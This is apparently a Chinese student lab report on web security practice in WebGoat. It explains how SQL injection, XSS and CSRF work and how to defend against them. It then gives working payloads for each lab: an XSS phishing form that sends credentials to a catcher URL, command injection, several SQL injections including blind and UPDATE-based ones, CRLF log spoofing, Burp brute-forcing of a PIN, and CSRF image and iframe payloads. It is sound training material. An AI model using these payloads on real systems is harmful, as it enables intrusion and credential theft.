20155211 网络对抗 Exp9 Web安全基础实践
基础问题回答
- SQL注入攻击原理,如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
-
防御:
1.对用户的输入进行校验。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
- XSS攻击的原理,如何防御?
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
-
防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- CSRF攻击原理,如何防御?
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
-
防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验过程
安装WebGoat
- 开启webgoat,首先要下载java包,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar
- 注意要把压缩包放在当前目录下,不然会报错
- 在浏览器*问localhost:8080/WebGoat,登录。
XSS攻击
Phishing with XSS
- 需要在搜索框中输入如下代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
攻击成功~
Stored XSS Attacks
- 要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 直接在title里随便输入,然后在message中输入一串代码,比如:
<script>alert("5211!");</script>
提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功!
Reflected XSS 反射型XSS攻击
- 在code框中输入
<script>alert("I am 5211xxy");</script>
Injection Flaws
Command Injection
在目标主机上执行系统命令,通过火狐下的一个扩展Firebug对源代码进行修改,例如在BackDoors.help旁边加上
& netstat -an & ipconfig
选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:
Numeric SQL Injection
- 表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。
- 进行SQL注入在station字段注入特征字符,以组合成新的SQL语句,
SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station
中的任意一个值后面加入一个1=1
,由于1=1为永真式,选择所修改的value
所指向的城市,就可以得到所有的天气。
Log Spoofing
- 我们输入的用户名会被追加到日志文件中。所以可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入
xxy%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符: - 如图所示为攻击成功;
LAB:SQL Injection
Stage 1:String SQL Injection
- 使用字符串SQL注入在没有正确密码的情况下登录账号boss。
- 查看源代码,去掉对输入长度的限制。
- 在密码栏中输入``' or 1=1 --```进行SQL注入,登陆成功。
Stage 3:Numeric SQL Injection
通过注入语句,浏览到原本无法浏览的信息。
通过一个普通员工的账户larry,浏览其BOSS的账户信息。首先我们用上一题的办法登录Larry的账号:在密码框里输入
' or 1=1 --
,登录后发现我们只能看见Larry一个人的工资信息。浏览员工信息的按钮是ViewProfile.在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,把其中的value值改为
101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
String SQL Injection
- 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
- 构造一个永真式“1”,那么不管前面的WHERE是否成立都能执行,所以构造语句
'or 1='1
,成功得到了全部的信用卡号。
Blind Numeric SQL Injection
- 目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,它只告诉你两种信息:帐号有效或无效,我们可以先输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 查看pin数值是否大于10000
- 后来确定在2000到2500之间,然后打开BurpSuite。
- 设置:
启动BurpSuite
设置代理“Proxy”的“Options”选项:默认是8080端口被占用时需要添加一个新的端口5211,点击add
添加后勾选,如图所示
设置浏览器的代理
打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings
当于将burpsuite当成中间服务器,每个数据包都流过它。设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:
在Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加(在此之前点击clear清空所有的)
在Payloads中,选择type类型为number,然后设置变化范围2000-2500,并设置步长为1
在Options中,选择Start attack开始攻击
在这里找到数据包大小变化的位置2364,用2364试一下:
注意:在关闭了burpsuite之后,把浏览器的代理调回不使用代理,否则浏览器上不了网
Database Backdoors
先输入示例101进行尝试,得到了该用户的信息。
输入注入语句:
101; update employee set salary=90000
CSRF攻击
Cross Site Request Forgery
- 需要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 查看自己电脑的Screen和menu的值,然后在message里面输入
<img src="http://localhost:8080/WebGoat/attack?Screen=scr值&menu=menu值&transferFunds=转账金额"/>
- 提交后生成一个链接money
- 点击即可查看用户操作的信息
CSRF Prompt By-Pass
- 利用CSRF进行冒名操作转账,不过这次包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器。
- 查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 提交后生成链接,点击
实验感想
这次实验遇到的最大的困难是语言问题,看着全英文的界面真的头疼。。不过实践过后还算是有所收获的。。做的还是蛮开心的。。